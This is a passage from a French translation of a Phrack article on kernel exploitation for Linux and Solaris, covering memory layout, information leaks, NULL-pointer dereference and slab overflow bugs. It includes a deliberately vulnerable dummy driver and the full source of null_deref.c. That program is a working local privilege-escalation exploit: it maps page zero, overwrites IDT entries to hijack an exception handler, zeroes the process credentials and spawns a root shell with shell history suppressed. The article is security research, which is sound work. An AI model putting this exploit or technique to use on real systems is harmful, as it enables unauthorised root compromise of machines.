==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x06 of 0x11 |=-----------------------------------------------------------------------=| |=--------------------=[ Attacking the Core : Kernel ]=------------------=| |=--------------------=[ Exploiting Notes ]=------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ By sgrakkyu ]=----------------=| |=-----------------=[ ]=----------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ February 12 2007 ]=-------------------------=| |=---------------=[ Traduit par TboWan pour arsouyes.org ]=--------------=| |=-----------------------------------------------------------------------=| ------[ Sommaire 1 - La salle de jeu  1.1 - Agencement de l'espace mémoire virtuel noyau/utilisateur 1.2 - Driver de périphérique factice et vulnérabilités réelles 1.3 - Note sur la collecte d'informations 2 - Vulnérabilités et bugs noyaux 2.1 - vulnérabilités de "NULL/userspace dereference" 2.1.1 - Vulnérabilité "NULL/userspace dereference" : null_deref.c 2.2 - L'allocateur de slab 2.2.1 - Vulnérabilités de débordement de Slab 2.2.2 - Exploitation d'un débordement de Slab : MCAST_MSFILTER 2.3 - Vulnérabilités de débordement dans la pile 2.3.1 - Exploitation UltraSPARC 2.3.2 - Un exploit fiable pour Solaris/UltraSPARC 2.4 - Une amorce sur les bugs logiques : race conditions 2.4.1 - Forcer un chemin noyau à dormir 2.4.2 - AMD64 et exploitation de race condition : sendmsg 3 - Scénarios avancés  3.1 - PaX KERNEXEC & espaces utilisateurs/noyau séparés 3.2 - Exploitation noyau distante 3.2.1 - Le combat du réseau 3.2.2 - Restauration du flot des cadres de pile 3.2.3 - Restauration des ressources 3.2.4 - Copier le code 3.2.5 - Exécuter le code en mode utilisateur [ Donne moi vie ! ] 3.2.6 - Le Code : sendtwsk.c 4 - Mots de la fin 5 - Références 6 - Sources - drivers and exploits [stuff.tgz] ------[ Intro Les dernières années ont vu un intéret croissant sur les exploitations basées sur le noyau. La difusion grandissante d'approche de "prevention de sécurité" (pile et tas non-exécutable, mmapage de librairies ascii-armored, randomisation de mmap/pile et de zone généralement virtuelles, juste pour vous montrer les plus connues) est a rendu / est en train de rendre l'exploitation en mode utilisateur de plus en plus difficile. En plus, il y a eu un travail considérable sur l'audition de code d'application, qui fait que les nouveaux bugs sont dénéralement plus complèxes à gérer et exploiter. L'attention s'est donc tournée vers le coeur des systèmes d'exploitation, vers la (in)sécurité du noyau. Ce papier va tenter de vous donner un aperçu de l'exploitation du noyau, avec des exemples pour IA-32, UltraSPARC et AMD64. Linux et Solaris seront les systèmes d'exploitation cible. Plus précisément, une architecture sera, à son tour, utilisée principalement pour couvrir une des trois catégories d'exploitation principales : slab (IA-32), stack (UltraSPARC) et race condition (AMD64). Les détails expliqués dans ces "analyses profondes" s'appliquent, de toute façon, dans la plupart des cas aux autres scénarios d'exploitation. Puisque les exemples d'exploitation sont surement intéressant mais ne montre d'habitude pas la complexité "effective" pour tirer avantage d'une vulnérabilité, une paire d'exploit "de la vie réelle" seront présentés aussi. ------[ 1 - La salle de jeu Avant de commencer, montrons d'abord que : "bruteforcer" et "noyau" sont deux mots qui ne vont pas ensemble. On ne peut pas faire crasher le noyau encore et encore pour trouver la bonne adresse de retour ou le bon alignement. Un erreur dans l'exploitation noyau nous mène généralement à un crash, une panique ou un état instable du système d'exploitation. L'étape de "collecte d'information" est tellement importante, autant qu'une bonne connaissance de l'agencement du système d'exploitation. ---[ 1.1 - Agencement de l'espace mémoire virtuel noyau/utilisateur Du point de vue utilisateur, nous ne voyons quasiment rien sur l'agencement du noyau ou des adresses auquelle il est mappé [en fait, il y a quelques informations qu'on peut collecter depuis le mode utilisateur, et nous les montrerons plus tard]. Cependant, c'est à partir du mode utilisateur qu'on doit commencer pour mener notre attacke et une bonne connaissance de l'agencement de la mémoire virtuelle (et de son implémentation) est, en fait, indispensable. Il y a deux agencements de l'espace d'adressage possibles : - espace noyau au nom de l'espace utilisateur (les tables des pages noyau sont dupliquées sur chaque processus; l'espace d'adressage virtuel est divisé en deux, une pour le noyau, une pour le processus). Les noyaux tournant sous x86, AMD64 et sun4m/sun4d ont d'habitude ce genre d'implémentation. - espaces d'adressage noyau et utilisateur séparés (les deux peuvent utiliser tout l'espace d'adressage). Une telle implémentation, pour être efficace, requièrt un support dédié de l'architecture sous-jacente. C'est le cas des registres de contexte primaire et secondaire en conjonction des identificateurs ASI sur architecture UltraSPARC (sun4u/sun4v). Pour voir les avantages principaux (d'un point de vue de l'exploitation) de la première aproche sur la seconde, nous devons introduire le concept de "contexte de processus". À chaque fois que le CPU est en mode "supervisor" (le célèbre ring0 sous IA-32), le flux d'exécution du noyau en train d'être exécuté doit être dans un contexte d'interruption s'il n'a pas de processus de base. Le code dans une interruption ne peut pas bloquer (par exemple attendre qu'une demande de page ramène une page utilisateur référencée) : le scheduler n'est pas capable de savoir quoi mettre en sommeil (et quoi réveiller ensuite). Le code fonctionnant dans un contexte de processus a, lui, un processus associé (souvent celui qui a généré l'exécution noyau via, par exemple, un appel système) et est libre de bloquer/dormir (et donc, il est libre de référencer l'espace d'adressage virtuel utilisateur). C'est une bonne nouvelle sur les systèmes qui implémentent des espaces d'adressages qui combinent utilisateur/noyau, puisque, pendant l'exécution au niveau noyau, nous pouvons déréférencer (ou sauter à) des adresses utilisateur. Les avantages sont évidents (et nombreux) : - nous n'avons pas besoin de deviner où se trouve le shellcode et on peut l'écrire directement en C (ce qui facilite l'écriture, si besoin, de long codes complexes de récupération) ; - nous ne devons pas faire face au problème de trouver un endroit fiable, grand et sûr pour le stocker ; - Nous ne devons pas nous ennuyer à propos de protection de pages non-exécutables (nous sommes libres de les mmaper/mremaper comme on veut, et, évidement, de charger le code directement dans le segment .text si nous n'avons pas besoin de le modifier lors de l'exécution) ; - On peut mmaper de grands portions de l'espace d'adressage et les remplir avec des nops ou instructions/données du genre (utile quand on ne contrôle pas complètement l'adresse de retour ou le déréférencement) ; - on peut facilement prendre avantage du "NULL pointer dereference bugs" (dércit "techniquement" plus loins). L'espace laissé au noyau est tellement petit : sous x86, il fait 1 Go sous linux et il fluctue sous Solaris en fonction de la quantité de mémoire physique (voir usr/src/uts/i86pc/os/startup.c dans le source d'Opensolaris). Cette fluctuation est apparue être nécessaire pour éviter autant que possible de gaspiller des plages d'adresses mémoires et, en même temps, éviter la pression sur l'espace réservé au noyau. La seule limitation de l'espace virtuel du noyau (et des processus) sur les systèmes implémentant des espaces noyaux/utilisateurs séparés est donnée par l'architecture (UltraSPARC I et II ne peuvent référencer que 44bits sur les 64bits adressables. Ce trou d'adresses est placé entre 0x0000080000000000 et 0xFFFFF7FFFFFFFFFF). Ce modèle de mémoire rend en fait l'exploitation plus difficile, parce qu'on ne peut pas déréférencer l'espace utilisateur directement. Le "NULL pointer dereference" cité plus haut est beaucoup plus un-exploitable. De plus, on ne peut pas se fifier aux adresses utilisateurs "valides" pour stocker notre shellcode (ou tout autre donnée d'émulation du noyau), comme nous ne pouvons plus "retourner en espace utilisateur". Nous n'irons pas plus dans les détails de la description théorique des architectures (vous pouvez voir les manuels de références en [1], [2] et [3]) puisque nous avons préféré coupler l'analyse des aspects pertinents des architectures et des OS pour l'exploitation avec des présentations de codes d'exploitation réels. ---[ 1.2 - Driver de périphérique factice et vulnérabilités réelles Comme on l'a dit dans l'introduction, nous allons présenter une paire de vrai exploit fonctionnels, en espérant qu'ils donnent un meilleur aperçu sur tout le precessus d'exploitation du noyau. Nous avons écrit des exploits pour : - La vulnérabilité MCAST_MSFILTER [4], utilisée pour montrer l'exploitation d'un débordement d'un slab noyau. - La vulnérabilité sendmsg [5], utilisée pour montrer une race condition efficace (et un débordement de pile sous AMD64). - Un débordement de tampon du SIOCGIWSCAN de madwifi [21], utilisé pour montrer un réel exploit distant pour le noyau linux. Cet exploit a déjà été publié dans [22] avant la sortie de ce papier (qui contient une discussion plus détaillée sur lui et un autre exploit "basé factice" pour un scénario plus complexe). De plus, nous avons écrit un driver de périphérique factice (pour Linux et Solaris) pour montrer avec des exemples les techniques présentées. Un exploit distant plus complex (comme déjà mentionné) et un exploit capable de gérer un Linux avec PaX/KERNEXEC (et une séparation de l'espace noyau/utilisateur) seront présentés aussi. ---[ 1.3 - Note sur la collecte d'informations Vous vous souvenez quand on a parler de collecte d'information ? Presque tous les systèmes d'exploitation "exportent" vers le mode utilisateur des informations utiles pour développer et déboguer. À la fois Linux et Solaris (nous ne prenons pas en compte pour l'instant des "patchs de sécurité"). exposent de manière lisible par l'utilisateur la liste des adresses de leurs symboles exportés (symboles que les auteurs de modulent peuvent référencer) : /proc/ksyms sous Linux 2.4, /proc/kallsyms sous 2.6 et /dev/ksyms sous Solaris (les deux premiers sont des fichiers textes, le dernier est un ELF avec la section SYMTAB). Ces fichiers fournissent des informations utiles sur ce qui est compilé à l'intérieur du noyau et à quelles adresses se trouvent certaines fonctions et structures, adresses que nous pouvons récupérer à l'exécution et utiliser pour augmenter la fiabilité de notre exploit. Mais ces informations peuvent manquer dans certains environnements, le système de fichier /proc peut être non-monté ou le noyau compilé (ainsi que des patches et changements de sécurité) pour ne pas les exporter. De nos jours, c'est plus un problème Linux que Solaris. Solaris exporte beaucoup plus d'informations que Linux (probablement pour aider à déboguer sans avoir le code source) vers le mode utilisateur. Chaque module est affiché avec ses adresses de chargements avec "modinfo", l'interface proc exporte les adresses des structures "proc_t" vers le mode utilisateur (ce qui nous donne un point d'entrée crucial comme nous le verront, pour l'exploitation sus systèmes UltraSPARC) et l'utilitaire "kstats" nous permet d'enquêter sur beaucoups de paramètres noyaux. En l'absence de /proc (et de /sys sous Linux 2.6), il y a un autre endroit pour trouver des informations, l'image du noyau sur le système de fichier. Il y a en fait deux situations [favorevoli] [NDT : mot italien voulant dire favorable] possibles : - L'image est quelque part surle système de fichier et est en lecture, c'est le cas par défaut sur beaucoup de distributions Linux et pour Solaris ; - L'hôte cible utilise une image noyau par défaut, issue de l'installation ou d'un repository public. Dans cette situation, c'est juste une histoire de recréer la même image sur votre système et d'inférer à partir. Ceci devrait être toujours faisable sous Solaris, d'après le niveau de patch (qu'on récupère avec "uname" et/ou "showrev -p"). Les choses changent si Opensolaris est utilisé. La présence de l'image (ou la possibilité de la deviner) est cruciale pour l'exploitation d'environnement avec KERN_EXEC/espaces noyau/utilisateurs séparés présentée à la fin du papier. En admettant que nous n'ayons aucune informations exportée et que l'adminstrateur prudent ait retiré toutes les images du noyau qui tourne (et, logiquement, en l'absence de fuites de mémoire noyau ;)) nous avons une dernière source qui peut nous aider dans l'exploitation : l'architecture. Prenons l'architecture x86, un processus tournant en ring3 pourrait requérir les adresses logiques et les offset/attribut des tables du processeur GDT,LDT,IDT,TSS : - avec "sgdt" nous récupérons l'adresse de base et l'offset max de GDT ; - avec "sldt" nous pouvons récupérer l'index d'entrée GDT du LDT courant ; - avec "sidt" nous pouvons récupérer l'adresse de base et l'offset max de l'IDT ; - avec "str" nous pouvons récupérer l'index d'entrée DGT du TSS courant. Le meilleur choix (mais pas le seul) dans ce cas est l'IDT. La possibilité d'changer un simple octet à un endroit choisi nous permet d'avoir un exploit fiable et complètement fonctionnel [*]. [*] L'idée ici est de modifier le MSB de la base_address d'une entrée de l'IDT et donc "hijacker" le gestionnaire d'exception. Logiquement, nous avons besoin d'un écrasement contrôlé d'un octet, voir partiellement contrôlé avec une valeur d'octet plus basse que la valeur "kernelbase" pour pouvoir le faire pointer vers une portion du mode utilisateur. Nous n'entreront pas dans les détails sur l'implémentation et l'agencement de l'IDT ici, vous pouvez les trouver dans les manuels de processeurs [1] ou dans l'article de kad du phrack 59 ""Handling the Interrupt Descriptor Table" [6]. L'exploit "NULL pointer dereference" présenté pour Linux implémente cette technique. Une étape aussi importante que la collecte d'information est celle de la récupération, qui a pour but de laisser de noyau dans un état cohérent. Cet étape est souvent effectuée dans le shellcode lui-même ou juste après que l'exploit ait pris place (et ait réussi), en utilisant /dev/kmem ou un module chargeable (si possible). Cette étape est logiquement indépendante de l'exploit, donc nous l'expliqueront juste en même tempsque les examples (faire une section dédiée serait inutile). ------[ 2 - Vulnérabilités et bugs noyaux Nous commencons ici une excursion dans les diverses typologies de vulnérabilités noyau. Le noyau est une grosse bête complexe, donc même si nous allons tracer des scénarios "communs", il y a beaucoup plus de "bugs logiques" possibles qui peuvent mener à une corruption du système. Nous allons couvrir les vulnérabilités basées sur la pile, le "tas" (ou mieux, les slabs) et les déréférencements null/utilisateurs. Comme exemple de "bug logique", un chapitre complet est dédié aux race conditions et aux techniques pour forcer un chemin d'exécution noyau à dormir/re-scheduler (avec un réel exploit pour sendmsg [4] sous AMD64). Nous n'allons pas couvrir dans ce papier, l'ensemble des vulnérabilités relatives aux erreurs logiques de mémoire virtuelle, puisque celles-ci ont déjà été intensivement décrites est intelligement exploitées, sous Linux, par les gens d'iSEC [7]. De plus, il est quasiment inutile, de notre point de vue, de créer un code vulnérable "fait main" pour des bugs logiques et nous n'étions au courant d'aucune vulnérabilité _publique_ de cette sorte sous Solaris. Si vous en avez, n'hésitez pas à nous les soumettre, nous serions ravis de travailler dessus ;). ---[ 2.1 - vulnérabilités de "NULL/userspace dereference" Cette sorte de vulnérabilité dérive de l'utilisation d'un pointeur non-initialisé (qui a généralement une valeur NULL) ou cassé, tel qu'il pointe alors dans la partie utilisateur de l'espace d'adressage. Le comportement normal d'un système d'exploitation dans ce cas est un "oops" ou un crash (en fonction du degré de sévérité du déréférencement) au moment de la tentative d'accès à la mémoire non-mmapée. Mais nous pouvons évidement mmaper cette zone mémoire et laisser le noyau y trouver des données malicieuses "valides". C'est plus que suffisant pour obtenir des privilèges root. On peut déterminer deux scénarios possibles : - modification du pointeur d'instruction (un déréférencement de call/jmp direct, un pointeur de fonction appelée dans une structure, ...) ; - une écriture "contrôlée" dans l'espace noyau. La première sorte de vulnérabilité est vraiment trivialle à exploiter, c'est juste une histoire de mmaper la page en question et d'y placer le shellcode. Si l'adresse déréférencée est une structure contenant un pointeur de fonction (ou une chaine de structure avec un pointeur de fonction quelque part dedans), c'est juste une histoire d'émuler, en espace utilisateur, ces structures, et faire pointer le pointeur de fonction vers notre shellcode et de le laisser/forcer le chemin d'exécution à y faire appel. Nous ne montrerons pas d'exemple de ce genre de vulnérabilités puisque c'est la "dernière étape" de n'importe quel exploit plus complexe (comme on le verra, nous essaieront toujours, quand c'est possible, de faire un jmp vers l'espace utilisateur). La deuxième sorte de vulnérabilité est un peut plus complexe puisque nous ne pouvons pas modifier directement le pointeur d'instruction, mais nous avons la possibilité d'écrire quelque part dans la mémoire du noyau (avec des données sous contrôle ou non). Jetons un coup d'oeil à un extrait de code, issu de notre driver factice sous Linux : < stuff/drivers/linux/dummy.h > [...] struct user_data_ioctl { int size; char *buffer; }; < / > < stuff/drivers/linux/dummy.c > static int alloc_info(unsigned long sub_cmd) { struct user_data_ioctl user_info; struct info_user *info; struct user_perm *perm; [...] if(copy_from_user(&user_info, (void __user*)sub_cmd, sizeof(struct user_data_ioctl))) return -EFAULT; if(user_info.size > MAX_STORE_SIZE) [1] return -ENOENT; info = kmalloc(sizeof(struct info_user), GFP_KERNEL); if(!info) return -ENOMEM; perm = kmalloc(sizeof(struct user_perm), GFP_KERNEL); if(!perm) return -ENOMEM; info->timestamp = 0;//sched_clock(); info->max_size = user_info.size; info->data = kmalloc(user_info.size, GFP_KERNEL); [2] /* unchecked alloc */ perm->uid = current->uid; info->data->perm = perm; [3] glob_info = info; [...] static int store_info(unsigned long sub_cmd) { [...] glob_info->data->perm->uid = current->uid; [4] [...] < / > À cause de la gestion des signes en [1], on peut passer une énorme valeur à kmalloc en [2], le faisant s'échouer (et retournant alors NULL). Le manque de vérification à ce point laisse une valeur NULL dans le pointeur info->data, qui est ensuite utilisée en [3] et aussi dans store_info en [4] pour sauvegarder la valeur de l'uid courant. Ce que nous avons à faire pour exploiter ce genre de code est de mmaper simplement la page zéro (0x00000000 - NULL) dans l'espace utilisateur, faire échouer le kmalloc en passant une valeur négative et de préparer une "fausse" structure de données dans la zone précédement mmapée, fournissant un pointeur fonctionnel pour "perm" et nous permettant d'écrire notre "uid" quelque part en mémoire. À ce point, nous avons beaucoup de façons d'exploiter le code vulnérable (l'exploitation en étant capable d'écrire quelque part des données arbitraire ou, dans notre cas, partiellement contrôlée n'est en fait limitée que par notre imagination), mais c'est mieux de trouver une façon qui "fonctionne partout". Comme nous l'avons dit plus haut, nous allons utiliser l'IDT et écraser une de ces entrées (plus précisément, une Trap Gate [NDT : porte piégée], pour être capable dhijacker un gestionnaire d'exception et redirigier le flux d'exécution vers l'espace utilisateur). Chaque entrée de l'IDT fait 64 bits (8 octets) et nous voulons déborder la valeur "base_offset", pour pouvoir modifier le MSB [NDT : bit de poid fort] de l'adresse de la fonction gérant l'exeption et donc, la rediriger en dessous de la valeur de PAGE_OFFSET (0xc0000000). Puisque les 16 bits de poid fort sont dansles 7ème et 8ème octet de l'entrée IDT, ce sont eux nos cibles, mais nous sommes en train d'écrire en [4], 4 octets pour la valeur "uid", nous allons donc casser l'entrée suivante. C'est mieux d'utiliser deux entrés adjacentes "rarement utilisées" (au cas où, pour une raison étrange, les chosent tournent mal) et nous avons décidé d'utiliser les 4ème et 5ème entrées : #OF (Overflow Detection) et #BR (BOUND Range Exceed Exception). À ce moment, nous ne contrôlons pas complètement l'adresse de retour, mais ce n'est pas un gros problème, puisque nous pouvons mmaper de grosses régions dans l'espace utilisateur et les remplir de nop's, pour préparer une zone d'atterissage sûre et confortable pour notre exploit. La dernière chose qu'on doit faire est de restaurer, une fois qu'on récupère le flux d'exécution en espace utilisateur, les entrées originales de l'IDT, en codant en dur ces valeurs dans une partie du shellcode ou en utilisant un lkm ou un code pour patcher /dev/kmem. À ce moment, notre exploit est près à être lancer pour notre premier "shell root". Comme dernière (en fait évidente) note, les vulnérabilités NULL dereference ne sont exploitables que sur les modèles de systèmes d'exploitations dont la mémoire "utilisateur et noyau est combinée". ---[ 2.1.1 - Vulnérabilité "NULL/userspace dereference" : null_deref.c < stuff/expl/null_deref.c > #include #include #include #include #include #include #include #include #include "dummy.h" #define DEVICE "/dev/dummy" #define NOP 0x90 #define STACK_SIZE 8192 //#define STACK_SIZE 4096 #define PAGE_SIZE 0x1000 #define PAGE_OFFSET 12 #define PAGE_MASK ~(PAGE_SIZE -1) #define ANTANI "antani" uint32_t bound_check[2]={0x00,0x00}; extern void do_it(); uid_t UID; void do_bound_check() { asm volatile("bound %1, %0\t\n" : "=m"(bound_check) : "a"(0xFF)); } /* simple shell spown */ void get_root() { char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL }; char *envp[] = { "TERM=linux", "PS1=y0y0\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL }; execve("/bin/sh", argv, envp); fprintf(stderr, "[**] Execve failed\n"); exit(-1); } /* Cette fonction est appellée par le faux gestionnaire d'exception : prend l'uid 0 et restaure l'entrée cassée */ void give_priv_and_restore(unsigned int thread) { int i; unsigned short addr; unsigned int* p = (unsigned int*)thread; /* simple trick */ for(i=0; i < 0x100; i++) if( (p[i] == UID) && (p[i+1] == UID) && (p[i+2] == UID) && (p[i+3] == UID) ) p[i] = 0, p[i+1] = 0; } #define CODE_SIZE 0x1e void dummy(void) { asm("do_it:;" "addl $6, (%%esp);" // after bound exception EIP points again to the bound instruction "pusha;" "movl %%esp, %%eax;" "andl %0, %%eax;" "movl (%%eax), %%eax;" "add $100, %%eax;" "pushl %%eax;" "movl $give_priv_and_restore, %%ebx;" "call *%%ebx;" "popl %%eax;" "popa;" "iret;" "nop;nop;nop;nop;" :: "i"( ~(STACK_SIZE -1)) ); return; } struct idt_struct { uint16_t limit; uint32_t base; } __attribute__((packed)); static char *allocate_frame_chunk(unsigned int base_addr, unsigned int size, void* code_addr) { unsigned int round_addr = base_addr & PAGE_MASK; unsigned int diff = base_addr - round_addr; unsigned int len = (size + diff + (PAGE_SIZE-1)) & PAGE_MASK; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if(map_addr == MAP_FAILED) return MAP_FAILED; if(code_addr) { memset(map_addr, NOP, len); memcpy(map_addr, code_addr, size); } else memset(map_addr, 0x00, len); return (char*)base_addr; } inline unsigned int *get_zero_page(unsigned int size) { return (unsigned int*)allocate_frame_chunk(0x00000000, size, NULL); } #define BOUND_ENTRY 5 unsigned int get_BOUND_address() { struct idt_struct idt; asm volatile("sidt %0\t\n" : "=m"(idt)); return idt.base + (8*BOUND_ENTRY); } unsigned int prepare_jump_code() { UID = getuid(); /* set global uid */ unsigned int base_address = ((UID & 0x0000FF00) << 16) + ((UID & 0xFF) << 16); printf("Using base address of: 0x%08x-0x%08x\n", base_address, base_address + 0x20000 -1); char *addr = allocate_frame_chunk(base_address, 0x20000, NULL); if(addr == MAP_FAILED) { perror("unable to mmap jump code"); exit(-1); } memset((void*)base_address, NOP, 0x20000); memcpy((void*)(base_address + 0x10000), do_it, CODE_SIZE); return base_address; } int main(int argc, char *argv[]) { struct user_data_ioctl user_ioctl; unsigned int *zero_page, *jump_pages, save_ptr; zero_page = get_zero_page(PAGE_SIZE); if(zero_page == MAP_FAILED) { perror("mmap: unable to map zero page"); exit(-1); } jump_pages = (unsigned int*)prepare_jump_code(); int ret, fd = open(DEVICE, O_RDONLY), alloc_size; if(argc > 1) alloc_size = atoi(argv[1]); else alloc_size = PAGE_SIZE-8; if(fd < 0) { perror("open: dummy device"); exit(-1); } memset(&user_ioctl, 0x00, sizeof(struct user_data_ioctl)); user_ioctl.size = alloc_size; ret = ioctl(fd, KERN_IOCTL_ALLOC_INFO, &user_ioctl); if(ret < 0) { perror("ioctl KERN_IOCTL_ALLOC_INFO"); exit(-1); } /* save old struct ptr stored by kernel in the first word */ save_ptr = *zero_page; /* compute the new ptr inside the IDT table between BOUND and INVALIDOP exception */ printf("IDT bound: %x\n", get_BOUND_address()); *zero_page = get_BOUND_address() + 6; user_ioctl.size=strlen(ANTANI)+1; user_ioctl.buffer=ANTANI; ret = ioctl(fd, KERN_IOCTL_STORE_INFO, &user_ioctl); getchar(); do_bound_check(); /* restore trashed ptr */ *zero_page = save_ptr; ret = ioctl(fd, KERN_IOCTL_FREE_INFO, NULL); if(ret < 0) { perror("ioctl KERN_IOCTL_FREE_INFO"); exit(-1); } get_root(); return 0; } < / > ---[ 2.2 - L'allocateur de slab La principale utilité de l'allocateur de slab est d'accélérer l'allocation/libération de petits "objets" très utilisés et de réduire la fragmentation qui dériverait des méthodes basées sur les pages. À la fois Solaris et Linux implémentent un allocateur de slabs mémoires qui dérive de celui décrit par Bonwick [8] en 1994 et implémenté dans Solaris 2.4. L'idée derrière tout ça, en gros : les objets du même type sont regroupés ensemble dans un cache dans leur forme déjà construite. Le cache est divisé en "slabs", consistant en un ou plusieurs cadres de page. Chaque fois que le système d'exploitation à besoin de plus d'objets, un nouvau cadre de page (et donc de nouveaux "slabs") est alloué et les objets à l'intérieurs sont construits. Quand un appellant a besoin d'un de ces objets, on lui retourne un objet déjà construit qu'il n'a plus qu'à remplir avec des données valides. quand un objet et libéré, il n'est pas détruit, il retourne simplement dans son slab et est marqué comme disponible. Des caches sont créés pour les objets/structures les plus utilisées dans le système d'exploitation, par exemple ceux représentant les inodes, les zones de mémoires virtuelles, etc. Des caches d'utilité générale, adaptés pour l'allocation de petites zones mémoires sont aussi créés, un par puissance de deux, pour que la fragmentation interne soit garantie d'être en dessous de 50%. Le kmalloc() de Linux et le kmem_alloc() de Solaris utilisent exactement ces caches décrit plus haut. Puisqu'il est laissé à l'appelant de nettoyer les objets en provenance d'un slab (qui peuvent contenir des données "mortes"), des fonctions qui retourne des zones remplies de zéro après avoir exécuté les précédentes sont généralement fournies aussi (kzalloc(), kmem_zalloc()). Une fonctionnalité importante (du point de vue de l'exploitation) de allocateurs de slabs est la "bufctl", qui n'est significative que dans les objets libres et est utilisée pour indiquer le "prochain objet libre". Une liste d'objet libres qui se comporte comme une LIFO est donc crée, et nous allons voir bientôt qu'elle est cruciale pour une exploitation fiable. À chaque slab, on associe une structure de contrôle (kmem_slab_t sous Solaris, slab_t sous Linux) qui est stockée dans le slab (au début, sous Linux, et à la fin, sous Solaris) si l'objet est plus petit qu'une certaine limite (1/8 de la page), ou en dehors du slab. Puisqu'il y a un "cache" pour chaque "type d'objet", rien ne garantis que tous ces "objets" resterons dans les bornes d'une page dans le slab. Cet espace "libre" (espace ne dépendant d'aucun objet, ni aux structures de contrôle du slab) sont utilisées pour "colorer" le slab, respectant l'alignement des objets (si "libre" < "alignement", aucun coloriage n'a lieu). Le premier objet est donc sauvegardé à un "offset différent" dans le slab, donné d'après "valeur de couleur" * "alignement", (et, donc, la même chose arrive pour tous les objets suivants), tel que des objets de même taille dans différents slabs ne finiront surement pas dans les mêmes lignes du cache matériel. Nous n'entrerons pas plus dans les détails sur l'allocateur de slabs ici, puisqu'il est extrêmement expliqué dans beaucoup d'autres endroits, les plus notables sont [9], [10] et [11], et nous continuons donc notre exploration. Quelques détails d'implémentation suplémentaires vous seront donné, de toute façon, en même temps que les explications de techniques d'exploitation. ---[ 2.2.1 - Vulnérabilités de débordement de Slab NOTE : Comme on l'a déjà dit, Solaris et Linux ont deux fonctions différentes pour allouer des caches d'utilité générale, kmem_alloc() et kmalloc(). Ces deux fonctions se comportent en gros de la même manière, donc, à partir de maintenant, nous n'utiliseront que "kmalloc" et des mémoires "kmallocées" dans la suite, qui désigneront les deux implémentations des systèmes d'exploitations. Un débordement de Slab est simplement l'écriture en dehors des bornes du buffer d'un objet kmallocé. Le résultat d'un débordement peut être : - écraser un objet adjacent dans le slab; - écraser une page suivant celle du slab, dans ce cas, nous allons écraser au delà des derniers objets ; - écraser les structures de contrôle associées au slab (Seulement sous Solaris). Le premier cas est celui sur lequel nous montrerons un exploit. L'idée principale d'une telle situation est de remplir le slabs (on peut tracer le status du slab grâce à /proc/slabinfo sous Linux et kstat -n "nom_du_cache" sous Solaris) pour qu'un nouveau soit nécessaire. Nous le faisons pour être sûr d'avoir un bufctl "contrôlé" : puisque le slab entier est remplis, on récupère une nouvelle page, avec un pointeur bufctl tout "frais" pointant le premier objet. À ce moment, nous allouons deux objets, libérons le premier et lançons le code vulnérable : il va requérir un nouvel objet et écraser directement dans le deuxième qu'on venait d'allouer. Si un pointeur est stocké dans ce deuxième objet et utilisé (après le débordement), il est sous notre contrôle. Cette approche est très fiable. Le deuxième cas est plus complexe, puisque nous n'avons pas d'objet avec un pointeur ou une valeur modifiable d'intéret à écraser. Mais nous avons toujours une chance, en utilisant l'allocateur de cadres de page. Nous commencons à manger beaucoup de mémoire requérant la sorte de "page" dans laquelle on veut déborder (par exemple, des donnes de descriteurs de fichiers), mettant la mémoire sous pression. À ce moment, nous commençons à remplir le slab pour qu'une nouvelle page soit requise. Si nous avons eu de la chance, la nouvelle page se trouvera juste avant celle qu'on vient d'allouer et on a maintenant une chance d'y déborder. Les points principaux affectant la fiabilité de ce genre d'exploit sont : - Il n'est pas trivial d'isoler une une structure/donnée précise dans la masse d'alloc de la première phase, sans avoir aussi d'autres structures/données grandissant en même temps. Un exemple va clarifier les choses : pour allouer des tonnes de descriteurs, nous avons besoin de créer beaucoup de threads. Ceci se traduit par l'allocation de toutes les structures de contrôles correspondantes qui peuvent se placer juste après notre buffer qui va déborder. Le troisième cas n'est possible que sous Solaris, et seulement dans les slabs contenant des objets plus petits que "taille_page >> 3". Puisque Solaris garde les structures kmem_slab à la fin du slab, nous pouvons utiliser le débordement du dernier objet pour écraser des données à l'intérieur. Dans les deux dernières "typologies" d'exploits présentées, nous devont prendre en compte la coloration du slab. Les deux systèmes d'exploitations stockent le "prochain offset de couleur" dans le descripteur de cache, et le mettent à jours à chaque nouvelle allocation de slab (voyons un exemple du code d'OpenSolaris) : < usr/src/uts/common/os/kmem.c > static kmem_slab_t * kmem_slab_create(kmem_cache_t *cp, int kmflag) { [...] size_t color, chunks; [...] color = cp->cache_color + cp->cache_align; if (color > cp->cache_maxcolor) color = cp->cache_mincolor; cp->cache_color = color; < / > "minicolor" et "maxcolor" sont calculé à la création du cache et représentent les bornes du cache disponible : # uname -a SunOS principessa 5.9 Generic_118558-34 sun4u sparc SUNW,Ultra-5_10 # kstat -n file_cache | grep slab slab_alloc 280 slab_create 2 slab_destroy 0 slab_free 0 slab_size 8192 # kstat -n file_cache | grep align align 8 # kstat -n file_cache | grep buf_size buf_size 56 # mdb -k Loading modules: [ unix krtld genunix ip usba nfs random ptm ] > ::sizeof kmem_slab_t sizeof (kmem_slab_t) = 0x38 > ::kmem_cache ! grep file_cache 00000300005fed88 file_cache 0000 000000 56 290 > 00000300005fed88::print kmem_cache_t cache_mincolor cache_mincolor = 0 > 00000300005fed88::print kmem_cache_t cache_maxcolor cache_maxcolor = 0x10 > 00000300005fed88::print kmem_cache_t cache_color cache_color = 0x10 > ::quit Comme vous pouvez le voir, avec kstat, nous voyons que 2 slabs ont été créés et nous en connaissont l'alignement, qui est 8. La taille des objets est de 56 octets et la taille des structures de contrôles internes au slab est de 56, aussi. Chaque slab fait 8192, qui, modulo 56, donne exactement 16, qui est la valeur de "maxcolor" (la plage des couleurs est donc de 0 à 16, ce qui laisse trois colorations possibles avec un alignement de 8). D'après le morceau de code précédent, nous savons que la première allocation a une couleur de 8 (mincolor == 0 + align == 8 ), la deuxième de 16 (qui est la valeur encore enregistrée dans le kmem_cache_t). Si nous étions en train de lister les slabs et avions récupéré un autre, nous sommes sur que nous aurions trouvé une couloration de 0. Linux utilise ces coloration "circouleur" aussi, allez juste voir l'incrémentation et la configuration de 'kmem_cache_t'->colour_next. Les deux systèmes d'exploitation ne décrémentent pas les valeurs des 